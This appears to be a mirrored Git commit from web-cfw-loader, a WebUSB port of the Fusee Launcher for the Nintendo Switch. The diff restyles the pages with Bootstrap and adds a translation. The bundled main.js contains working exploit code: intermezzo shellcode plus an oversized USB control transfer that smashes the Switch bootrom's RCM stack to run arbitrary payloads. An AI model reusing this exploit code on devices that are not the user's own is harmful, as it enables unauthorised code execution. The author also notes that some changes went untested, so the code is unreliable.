Switch/web-cfw-loader
1
0
Fork 0
mirror of https://github.com/lordfriky/web-cfw-loader.git synced 2024-12-27 23:51:55 +00:00
Code Issues Packages Projects Releases Wiki Activity

Refactored to use Bootstrap3. Also some layout changes that i believe enhance usability. Added portuguese translation. Some minor changes to code that i did NOT test (sorry).

Browse Source
This commit is contained in:
falquinho 2018-05-20 02:39:19 -03:00
parent 3d78b96823
commit 6b6fb74471
13 changed files with 3418 additions and 428 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

191
index.html
View File

@ -6,75 +6,152 @@
<link rel="stylesheet" type="text/css" href="style.css" />
<link href="favicon.png" rel="icon" type="image/x-icon" />
<title>Switch Payload Loader v1.2</title>
<!-- JQuery: needed for some Bootstrap Components -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<!-- Bootstrap 3 framework -->
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<!-- Optional theme -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
<!-- Latest compiled and minified JavaScript -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
</head>
<body>
<div id="title">
<body class="container-fluid">
<div class="row" id="title">
<h1>Nintendo Switch Payload Loader</h1>
<p>Fusee Launcher ported to JavaScript using WebUSB.</p>
<div id="disclaimer">
<p>
Source can be found on <a href="https://github.com/ElijahZAwesome/web-cfw-loader/">GitHub</a> (or by hitting view source, there is no backend!).<br>
Ported from <a href="https://github.com/reswitched/fusee-launcher">fusee-launcher</a>.
Thanks to ktemkin and ReSwitched, as well as <br><a href="https://atlas44.s3-us-west-2.amazonaws.com/web-fusee-launcher/index.html">Atlas44 and his website</a> as a beginning point for this one.
</p>
<h4>Fusee Launcher ported to JavaScript using WebUSB.</h4>
</div>
<div class="row margin-top-md">
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
<div class="btn-group" role="group" aria-label="...">
<a class="btn btn-info disabled" href="#">English</a>
<a class="btn btn-info" href="./it_IT/index.html">Italiano</a>
<a class="btn btn-info" href="./pt_BR/index.html">Português</a>
</div>
</div>
</div>
<div class="row margin-top-md" id="infodiv">
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
<div class="alert alert-danger" role="alert">
<p>This is moderately tested. Although no issues have been discovered, I'm not responsible if anything goes wrong!</p>
</div>
<div class="alert alert-warning alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<p>This does NOT work on Windows due to a limitation in the Chrome implementation of WebUSB (and probably other reasons!)</p>
</div>
<div class="alert alert-warning alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<p>This does NOT currently work on any browser but Chrome, because they don't implement WebUSB.</p>
</div>
<div class="alert alert-warning alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<p>On Linux, you might get an access denied error! If you do, you can try creating a file at <code>/etc/udev/rules.d/50-switch.rules</code>With the following contents:<br><code>SUBSYSTEM==\"usb\", ATTR{idVendor}==\"0955\", MODE=\"0664\", GROUP=\"plugdev\"</code></p>
</div>
<div class="alert alert-warning alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<p>Hekate for 4.x has not been tested, as I do not have a 4.x switch. However, all other payloads will be tested as they are uploaded.</p>
</div>
<div class="alert alert-warning alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<p>This has been tested and appears to work on Linux, OSX, Android (unrooted) and Chromebooks. Your mileage may vary.</p>
</div>
<div class="alert alert-info" role="alert">
<h4>Instructions:</h4>
<ul>
<li>Put the Switch in RCM, and connect it to your device.</li>
<li>Select either the example payload, or upload one.</li>
<li>Press 'Run Payload!'</li>
<li>On the consent screen that appears, select 'APX' and hit confirm.</li>
<li>If all goes well, the payload will launch!</li>
</ul>
</div>
</div>
</div>
<br>
<p style="text-align: center; font-size: 1vw;">Se sei italiano, clicca <a href="./it_IT">qui.</a></p><br>
<button class="btn" id="instructionsbutton" onclick="openInstructions();">Instructions</button>
<button class="btn" id="infobutton" onclick="openInfo();">Info</button>
<div class="row">
<div class="class=col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
<h1>Setup Payload Delivery</h1>
<div id="infodiv"></div>
<form id="mainForm">
<div class="row">
<div class="col-xs-6">
<h4>Select Payload:</h4>
</div>
<div class="col-xs-6">
<select class="pull-right" id="payloadSelect" onchange="onSelectChange()">
<option value="instaboot">Instantly boot CFW (5.0.x)</option>
<option value="hekate v5">Hekate for 5.0.x Switches</option>
<option value="hekate v4">Hekate for 4.0.x Switches</option>
<option value="fusee">(Re)Switched test payload (fusee)</option>
<option value="uploaded">Upload payload</option>
</select>
</div>
</div>
<div class="row" id="uploadContainer" style="display: none">
<div class="row-xs-12">
<input style="float: right" type="file" id="payloadUpload" accept=".bin"/>
</div>
</div>
<div class="row divider-line"></div>
<div class="row margin-top-md">
<div class="col-xs-10">
<h4>Get payload byte array (don't sploit)</h4>
</div>
<div class="col-xs-2">
<input class="pull-right" type="checkbox" name="shouldDebug" id="shouldDebug">
</div>
</div>
<div class="row divider-line"></div>
</form>
<div>
<h1>Load a Payload:</h1>
<div>
<form id="mainForm">
<p>
<input type="radio" name="payload" id="instaboot" value="instaboot" checked>
<label for="instaboot">Instantly boot CFW (5.0.x)</label>
</p>
<p>
<input type="radio" name="payload" id="hekate v5" value="hekate v5">
<label for="hekate v5">Hekate for 5.0.x Switches</label>
</p>
<p>
<input type="radio" name="payload" id="hekate v4" value="hekate v4">
<label for="hekate v4">Hekate for 4.x Switches</label>
</p>
<p>
<input type="radio" name="payload" id="fusee" value="fusee">
<label for="fusee">(Re)Switched test payload (fusee)</label>
</p>
<p>
<input type="radio" name="payload" id="uploaded" value="uploaded">
<label for="uploaded">Upload payload:<br></label>
<input type="file" id="payloadUpload" accept=".bin">
</p>
<p>
<input type="checkbox" name="shouldDebug" id="shouldDebug">
<label for="shouldDebug">Get payload byte array (don't sploit)</label>
</p>
</form>
<button class="btn" id="goButton">Run Payload!</button>
</div>
<div class="row margin-top-md">
<div class="col-xs-12">
<button class="btn btn-primary btn-lg pull-right" id="goButton">Deliver Payload!</button>
</div>
</div>
</div>
</div>
<div class="row">
<div class="class=col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
<h3>Log:</h3>
<div id="output"></div>
<button class="btn btn-primary pull-right margin-top-md" id="clearlogsbutton" onclick="clearLog();">Clear Logs</button><br><br>
</div>
</div>
<h3>Log:</h3>
<div id="output"></div><br>
<button class="btn" id="clearlogsbutton" onclick="clearLog();">Clear Logs</button><br><br>
<script src="./payloads.js"></script>
<script src="./main.js"></script>
</body>
</html
>
<div class="row margin-top-md" id="page-footer">
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
<div id="disclaimer">
<p>Source can be found on <a href="https://github.com/ElijahZAwesome/web-cfw-loader/">GitHub</a> (or by hitting view source, there is no backend!).</p>
<p>Ported from <a href="https://github.com/reswitched/fusee-launcher">fusee-launcher</a>.</p>
<p>Thanks to ktemkin and ReSwitched, as well as <br><a href="https://atlas44.s3-us-west-2.amazonaws.com/web-fusee-launcher/index.html">Atlas44 and his website</a> as a beginning point for this one. </p>
</div>
</div>
</div>
</html>

235
it_IT/index.html
View File

@ -1,79 +1,156 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<link rel="stylesheet" type="text/css" href="style.css" />
<link href="favicon.png" rel="icon" type="image/x-icon" />
<title>Switch Payload Loader v1.2</title>
</head>
<body>
<div id="title">
<h1>Nintendo Switch Payload Loader</h1>
<p>Fusee Launcher portato a JavaScript usando WebUSB.</p>
<div id="disclaimer">
<p>
Il source puo essere trovato a <a href="https://github.com/ElijahZAwesome/web-cfw-loader/">GitHub</a> (o premendo guarda source, ma non c'è backend!).<br>
Portato da <a href="https://github.com/reswitched/fusee-launcher">fusee-launcher</a>.
Grazie tante a ktemkin e ReSwitched, e non dimentichiamoci <br><a href="https://atlas44.s3-us-west-2.amazonaws.com/web-fusee-launcher/index.html">Atlas44 e il suo sito</a> come punto di inizio per questo.
</p>
</div>
</div>
<br>
<button class="btn" id="instructionsbutton" onclick="openInstructions();">Istruzioni</button>
<button class="btn" id="infobutton" onclick="openInfo();">Info</button>
<div id="infodiv"></div>
<div>
<h1>Carica un payload:</h1>
<div>
<form id="mainForm">
<p>
<input type="radio" name="payload" id="instaboot" value="instaboot" checked>
<label for="instaboot">Avvia istantaneamente CFW (5.0.x)</label>
</p>
<p>
<input type="radio" name="payload" id="hekate v5" value="hekate v5">
<label for="hekate v5">Hekate per Switch su 5.0.X</label>
</p>
<p>
<input type="radio" name="payload" id="hekate v4" value="hekate v4">
<label for="hekate v4">Hekate per Switch su 5.0.X</label>
</p>
<p>
<input type="radio" name="payload" id="fusee" value="fusee">
<label for="fusee">(Re)Switched payload di test (fusee)</label>
</p>
<p>
<input type="radio" name="payload" id="uploaded" value="uploaded">
<label for="uploaded">Carica payload:<br></label>
<input type="file" id="payloadUpload" accept=".bin">
</p>
<p>
<input type="checkbox" name="shouldDebug" id="shouldDebug">
<label for="shouldDebug">Ottieni byte array del payload (no exploit)</label>
</p>
</form>
<button class="btn" id="goButton">Avvia Payload!</button>
</div>
</div>
<h3>Log:</h3>
<div id="output"></div><br>
<button class="btn" id="clearlogsbutton" onclick="clearLog();">Pulisci logs</button>
<script src="./payloads.js"></script>
<script src="./main.js"></script>
</body>
</html
>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<link rel="stylesheet" type="text/css" href="style.css" />
<link href="favicon.png" rel="icon" type="image/x-icon" />
<title>Switch Payload Loader v1.2</title>
<!-- JQuery: needed for some Bootstrap Components -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<!-- Bootstrap 3 framework -->
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<!-- Optional theme -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
<!-- Latest compiled and minified JavaScript -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
</head>
<body class="container-fluid">
<div class="row" id="title">
<h1>Nintendo Switch Payload Loader</h1>
<h4>Fusee Launcher portato a JavaScript usando WebUSB.</h4>
</div>
<div class="row margin-top-md">
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
<div class="btn-group" role="group" aria-label="...">
<a class="btn btn-info" href="../index.html">English</a>
<a class="btn btn-info disabled" href="#">Italiano</a>
<a class="btn btn-info" href="../pt_BR/index.html">Português</a>
</div>
</div>
</div>
<div class="row margin-top-md" id="infodiv">
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
<div class="alert alert-danger" role="alert">
<p>Questo è stato moderatamente testato. Anche se nessun problema è stato riportato, non sono responsabile in caso di brick!</p>
</div>
<div class="alert alert-warning alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<p>Questo non funziona in Windows per la implementazione scorretta di WinUSB di Chrome(E probabilmente altre ragioni)!</p>
</div>
<div class="alert alert-warning alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<p>Questo non funziona attualmente su nessun browser ma Chrome perchè è l'unico con WinUSB.</p>
</div>
<div class="alert alert-warning alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<p>Su Linux, potresti ottenere un errore Access Denied! Se succede, potresti provare a creare un file a <code>/etc/udev/rules.d/50-switch.rules</code>Con i seguenti contenuti:<br><code>SUBSYSTEM==\"usb\", ATTR{idVendor}==\"0955\", MODE=\"0664\", GROUP=\"plugdev\"</code></p>
</div>
<div class="alert alert-warning alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<p>Hekate 4.x non è stato testato visto che non ho una Switch 4.x. Tuttavia, tutti gli altri payload verranno testati al momento dell'aggiunta.</p>
</div>
<div class="alert alert-warning alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<p>Questo è stato testato e funziona su Linux, OSX, Android (no root) and Chromebooks. Risultati potrebbero variare.</p>
</div>
<div class="alert alert-info" role="alert">
<h4>Istruzioni:</h4>
<ul>
<li>Metti lo Switch in RCM e collega il dispositivo.</li>
<li>Scegli il payload di esempio o caricane uno.</li>
<li>Pemi 'Avvia payload!'</li>
<li>Nello schermo di conferma, scegli 'APX' ae premi conferma.</li>
<li>Se tutto funziona il payload si avvierà!</li>
</ul>
</div>
</div>
</div>
<div class="row">
<div class="class=col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
<h1>Setup Payload Delivery</h1>
<form id="mainForm">
<div class="row">
<div class="col-xs-6">
<h4>Payload:</h4>
</div>
<div class="col-xs-6">
<select class="pull-right" id="payloadSelect" onchange="onSelectChange()">
<option value="instaboot">Avvia istantaneamente CFW (5.0.x)</option>
<option value="hekate v5">Hekate per Switch su 5.0.X</option>
<option value="hekate v4">Hekate per Switch su 4.0.X</option>
<option value="fusee">(Re)Switched payload di test (fusee)</option>
<option value="uploaded">Carica payload</option>
</select>
</div>
</div>
<div class="row" id="uploadContainer" style="display: none">
<div class="row-xs-12">
<input style="float: right" type="file" id="payloadUpload" accept=".bin"/>
</div>
</div>
<div class="row divider-line"></div>
<div class="row margin-top-md">
<div class="col-xs-10">
<h4>Ottieni byte array del payload (no exploit)</h4>
</div>
<div class="col-xs-2">
<input class="pull-right" type="checkbox" name="shouldDebug" id="shouldDebug">
</div>
</div>
<div class="row divider-line"></div>
</form>
<div class="row margin-top-md">
<div class="col-xs-12">
<button class="btn btn-primary btn-lg pull-right" id="goButton">Avvia Payload!</button>
</div>
</div>
</div>
</div>
<div class="row">
<div class="class=col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
<h3>Log:</h3>
<div id="output"></div>
<button class="btn btn-primary pull-right margin-top-md" id="clearlogsbutton" onclick="clearLog();">Pulisci Logs</button><br><br>
</div>
</div>
<script src="./payloads.js"></script>
<script src="./main.js"></script>
</body>
<div class="row margin-top-md" id="page-footer">
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
<div id="disclaimer">
<p>Il source puo essere trovato a <a href="https://github.com/ElijahZAwesome/web-cfw-loader/">GitHub</a> (o premendo guarda source, ma non c'è backend!).</p>
<p>Portato da <a href="https://github.com/reswitched/fusee-launcher">fusee-launcher</a>.</p>
<p>Grazie tante a ktemkin e ReSwitched, e non dimentichiamoci <br><a href="https://atlas44.s3-us-west-2.amazonaws.com/web-fusee-launcher/index.html">Atlas44 e il suo sito</a> come punto di inizio per questo.</p>
</div>
</div>
</div>
</html>

397
it_IT/main.js
View File

@ -1,191 +1,206 @@
const intermezzo = new Uint8Array([
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
]);
const RCM_PAYLOAD_ADDRESS = 0x40010000;
const INTERMEZZO_LOCATION = 0x4001F000;
const PAYLOAD_LOAD_BLOCK = 0x40020000;
function createRCMPayload(intermezzo, payload) {
const rcmLength = 0x30298;
const intermezzoAddressRepeatCount = (INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDRESS) / 4;
const rcmPayloadSize = Math.ceil((0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000 + payload.byteLength) / 0x1000) * 0x1000;
const rcmPayload = new Uint8Array(new ArrayBuffer(rcmPayloadSize))
const rcmPayloadView = new DataView(rcmPayload.buffer);
rcmPayloadView.setUint32(0x0, rcmLength, true);
for (let i = 0; i < intermezzoAddressRepeatCount; i++) {
rcmPayloadView.setUint32(0x2A8 + i * 4, INTERMEZZO_LOCATION, true);
}
rcmPayload.set(intermezzo, 0x2A8 + (0x4 * intermezzoAddressRepeatCount));
rcmPayload.set(payload, 0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000);
return rcmPayload;
}
function bufferToHex(data) {
let result = "";
for (let i = 0; i < data.byteLength; i++)
result += data.getUint8(i).toString(16).padStart(2, "0");
return result;
}
async function write(device, data) {
let length = data.length;
let writeCount = 0;
const packetSize = 0x1000;
while (length) {
const dataToTransmit = Math.min(length, packetSize);
length -= dataToTransmit;
const chunk = data.slice(0, dataToTransmit);
data = data.slice(dataToTransmit);
await device.transferOut(1, chunk);
writeCount++;
}
return writeCount;
}
function readFileAsArrayBuffer(file) {
return new Promise((res, rej) => {
const reader = new FileReader();
reader.onload = e => {
res(e.target.result);
}
reader.readAsArrayBuffer(file);
});
}
function logOutput(...message) {
document.getElementById("output").innerHTML = document.getElementById("output").innerHTML + message.join(" ") + "<br>";
}
function clearLog() {
document.getElementById("output").innerHTML = "";
}
let device;
async function launchPayload(payload) {
await device.open();
logOutput(`Connected to ${device.manufacturerName} ${device.productName}`);
await device.claimInterface(0);
const deviceID = await device.transferIn(1, 16);
logOutput(`Device ID: ${bufferToHex(deviceID.data)}`);
const rcmPayload = createRCMPayload(intermezzo, payload);
logOutput("Sending payload...");
const writeCount = await write(device, rcmPayload);
logOutput("Payload sent!");
if (writeCount % 2 !== 1) {
logOutput("Switching to higher buffer...");
await device.transferOut(1, new ArrayBuffer(0x1000));
}
logOutput("Trigging vulnerability...");
const vulnerabilityLength = 0x7000;
const smash = await device.controlTransferIn({
requestType: 'standard',
recipient: 'interface',
request: 0x00,
value: 0x00,
index: 0x00
}, vulnerabilityLength);
}
document.getElementById("goButton").addEventListener("click", async () => {
clearLog();
var debugCheckbox = document.getElementById("shouldDebug");
const payloadType = document.forms.mainForm.payload.value;
if(debugCheckbox.checked) {
logOutput("Logging payload bytes...");
let payload;
if (payloadType === "hekate v5") {
payload = hekate5;
} else if (payloadType === "hekate v4") {
payload = hekate4;
} else if (payloadType === "fusee") {
payload = fusee;
} else if (payloadType === "instaboot") {
payload = instaboot;
} else if (payloadType === "uploaded") {
const file = document.getElementById("payloadUpload").files[0];
if (!file) {
alert("You need to upload a file, to use an uploaded file.");
return;
}
payload = new Uint8Array(await readFileAsArrayBuffer(file));
} else {
logOutput("You're trying to load a payload type that doesn't exist.");
return;
}
var payloadToLog = "";
for (var i = 0; i < payload.length; i++) {
payloadToLog += "0x" + payload[i].toString(16) + ", ".toUpperCase();
}
payloadToLog = payloadToLog.toUpperCase();
logOutput(payloadToLog);
return;
}
logOutput("Requesting access to device...");
device = await navigator.usb.requestDevice({ filters: [{ vendorId: 0x0955 }] });
logOutput(`<span style='color:blue'>Preparing to launch ${payloadType}...</span>`);
let payload;
if (payloadType === "hekate v5") {
payload = hekate5;
} else if (payloadType === "hekate v4") {
payload = hekate4;
} else if (payloadType === "fusee") {
payload = fusee;
} else if (payloadType === "instaboot") {
payload = instaboot;
} else if (payloadType === "uploaded") {
const file = document.getElementById("payloadUpload").files[0];
if (!file) {
alert("You need to upload a file, to use an uploaded file.");
return;
}
payload = new Uint8Array(await readFileAsArrayBuffer(file));
} else {
logOutput("<p style='color:red'>You're trying to load a payload type that doesn't exist.</p>");
return;
}
launchPayload(payload);
});
function openInfo() {
if(document.getElementById("infodiv").innerHTML != "") {
document.getElementById("infodiv").innerHTML = "";
} else {
document.getElementById("infodiv").innerHTML = "<h4>Info:</h4><p>Questo è stato moderatamente testato. Anche se nessun problema è stato riportato, non sono responsabile in caso di brick!</p><p>Questo non funziona in Windows per la implementazione scorretta di WinUSB di Chrome(E probabilmente altre ragioni)!</p><p>Questo non funziona attualmente su nessun browser ma Chrome perchè è l'unico con WinUSB.</p><p>Su Linux, potresti ottenere un errore Access Denied! Se succede, potresti provare a creare un file a <code>/etc/udev/rules.d/50-switch.rules</code>Con i seguenti contenuti:<br><code>SUBSYSTEM==\"usb\", ATTR{idVendor}==\"0955\", MODE=\"0664\", GROUP=\"plugdev\"</code></p><p>Hekate 4.x non è stato testato visto che non ho una Switch 4.x. Tuttavia, tutti gli altri payload verranno testati al momento dell'aggiunta.</p><p>Questo è stato testato e funziona su Linux, OSX, Android (no root) and Chromebooks. Risultati potrebbero variare.</p>";
}
}
function openInstructions() {
if(document.getElementById("infodiv").innerHTML != "") {
document.getElementById("infodiv").innerHTML = "";
} else {
document.getElementById("infodiv").innerHTML = "<h4>Istruzioni:</h4><p>Metti lo Switch in RCM e collega il dispositivo</p><p>Scegli il payload di esempio o caricane uno.</p><p>Pemi 'Avvia payload!'</p><p>Nello schermo di conferma, scegli 'APX' ae premi conferma.</p><p>Se tutto funziona il payload si avvierà!</p>";
}
}
document.getElementById("payloadUpload").addEventListener("change", () => document.forms.mainForm.payload.value = "uploaded");
const intermezzo = new Uint8Array([
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
]);
const RCM_PAYLOAD_ADDRESS = 0x40010000;
const INTERMEZZO_LOCATION = 0x4001F000;
const PAYLOAD_LOAD_BLOCK = 0x40020000;
function createRCMPayload(intermezzo, payload) {
const rcmLength = 0x30298;
const intermezzoAddressRepeatCount = (INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDRESS) / 4;
const rcmPayloadSize = Math.ceil((0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000 + payload.byteLength) / 0x1000) * 0x1000;
const rcmPayload = new Uint8Array(new ArrayBuffer(rcmPayloadSize))
const rcmPayloadView = new DataView(rcmPayload.buffer);
rcmPayloadView.setUint32(0x0, rcmLength, true);
for (let i = 0; i < intermezzoAddressRepeatCount; i++) {
rcmPayloadView.setUint32(0x2A8 + i * 4, INTERMEZZO_LOCATION, true);
}
rcmPayload.set(intermezzo, 0x2A8 + (0x4 * intermezzoAddressRepeatCount));
rcmPayload.set(payload, 0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000);
return rcmPayload;
}
function bufferToHex(data) {
let result = "";
for (let i = 0; i < data.byteLength; i++)
result += data.getUint8(i).toString(16).padStart(2, "0");
return result;
}
async function write(device, data) {
let length = data.length;
let writeCount = 0;
const packetSize = 0x1000;
while (length) {
const dataToTransmit = Math.min(length, packetSize);
length -= dataToTransmit;
const chunk = data.slice(0, dataToTransmit);
data = data.slice(dataToTransmit);
await device.transferOut(1, chunk);
writeCount++;
}
return writeCount;
}
function readFileAsArrayBuffer(file) {
return new Promise((res, rej) => {
const reader = new FileReader();
reader.onload = e => {
res(e.target.result);
}
reader.readAsArrayBuffer(file);
});
}
function logOutput(...message) {
document.getElementById("output").innerHTML = document.getElementById("output").innerHTML + message.join(" ") + "<br>";
}
function clearLog() {
document.getElementById("output").innerHTML = "";
}
let device;
async function launchPayload(payload) {
await device.open();
logOutput(`Connected to ${device.manufacturerName} ${device.productName}`);
await device.claimInterface(0);
const deviceID = await device.transferIn(1, 16);
logOutput(`Device ID: ${bufferToHex(deviceID.data)}`);
const rcmPayload = createRCMPayload(intermezzo, payload);
logOutput("Sending payload...");
const writeCount = await write(device, rcmPayload);
logOutput("Payload sent!");
if (writeCount % 2 !== 1) {
logOutput("Switching to higher buffer...");
await device.transferOut(1, new ArrayBuffer(0x1000));
}
logOutput("Trigging vulnerability...");
const vulnerabilityLength = 0x7000;
const smash = await device.controlTransferIn({
requestType: 'standard',
recipient: 'interface',
request: 0x00,
value: 0x00,
index: 0x00
}, vulnerabilityLength);
}
document.getElementById("goButton").addEventListener("click", async () => {
clearLog();
var debugCheckbox = document.getElementById("shouldDebug");
const payloadType = document.getElementById("payloadSelect").value;
let payload;
if (payloadType === "hekate v5") {
payload = hekate5;
} else if (payloadType === "hekate v4") {
payload = hekate4;
} else if (payloadType === "fusee") {
payload = fusee;
} else if (payloadType === "instaboot") {
payload = instaboot;
} else if (payloadType === "uploaded") {
const file = document.getElementById("payloadUpload").files[0];
if (!file) {
alert("You need to upload a file, to use an uploaded file.");
return;
}
payload = new Uint8Array(await readFileAsArrayBuffer(file));
} else {
logOutput("<span style='color:red'>You're trying to load a payload type that doesn't exist.</span>");
return;
}
if(debugCheckbox.checked) {
logOutput("Logging payload bytes...");
var payloadToLog = "";
for (var i = 0; i < payload.length; i++) {
payloadToLog += "0x" + payload[i].toString(16) + ", ".toUpperCase();
}
payloadToLog = payloadToLog.toUpperCase();
logOutput(payloadToLog);
return;
}
logOutput("Requesting access to device...");
device = await navigator.usb.requestDevice({ filters: [{ vendorId: 0x0955 }] });
logOutput(`<span style='color:blue'>Preparing to launch ${payloadType}...</span>`);
launchPayload(payload);
});
function onSelectChange() {
if (document.getElementById("payloadSelect").value === "uploaded")
document.getElementById("uploadContainer").style.display = "block"
else
document.getElementById("uploadContainer").style.display = "none"
}
function openInfo() {
if(document.getElementById("infodiv").innerHTML != "") {
document.getElementById("infodiv").innerHTML = "";
}
}
function openInstructions() {
if(document.getElementById("infodiv").innerHTML != "") {
document.getElementById("infodiv").innerHTML = "";
}
}
document.getElementById("payloadUpload").addEventListener("change", () => document.forms.mainForm.payload.value = "uploaded");

43
it_IT/style.css
View File

@ -4,7 +4,6 @@ body {
margin-top: 0px;
margin-left: 0px;
margin-right: auto;
text-align: center;
font-family: 'Open Sans', sans-serif;
}
@ -17,44 +16,30 @@ body {
background-color: black;
background-image: url("https://icdn1.digitaltrends.com/image/nintendo-switch-review-photos-pdx-580.jpg");
color: white;
width: 100%;
margin-top: 0px;
top: 0px;
}
#output {
margin-left: 0px;
width: 700px;
height: 200px;
border: 1px solid black;
margin-right: 0px;
margin: auto;
overflow: scroll;
}
.btn {
background: #3498db;
background-image: -webkit-linear-gradient(top, #3498db, #2980b9);
background-image: -moz-linear-gradient(top, #3498db, #2980b9);
background-image: -ms-linear-gradient(top, #3498db, #2980b9);
background-image: -o-linear-gradient(top, #3498db, #2980b9);
background-image: linear-gradient(to bottom, #3498db, #2980b9);
-webkit-border-radius: 12;
-moz-border-radius: 12;
border-radius: 12px;
font-family: Arial;
color: #ffffff;
font-size: 23px;
padding: 12px 20px 10px 20px;
text-decoration: none;
#page-footer {
padding: 32px;
background: #222528;
color: whitesmoke;
}
.btn:hover {
background: #3cb0fd;
background-image: -webkit-linear-gradient(top, #3cb0fd, #3498db);
background-image: -moz-linear-gradient(top, #3cb0fd, #3498db);
background-image: -ms-linear-gradient(top, #3cb0fd, #3498db);
background-image: -o-linear-gradient(top, #3cb0fd, #3498db);
background-image: linear-gradient(to bottom, #3cb0fd, #3498db);
text-decoration: none;
#disclaimer {
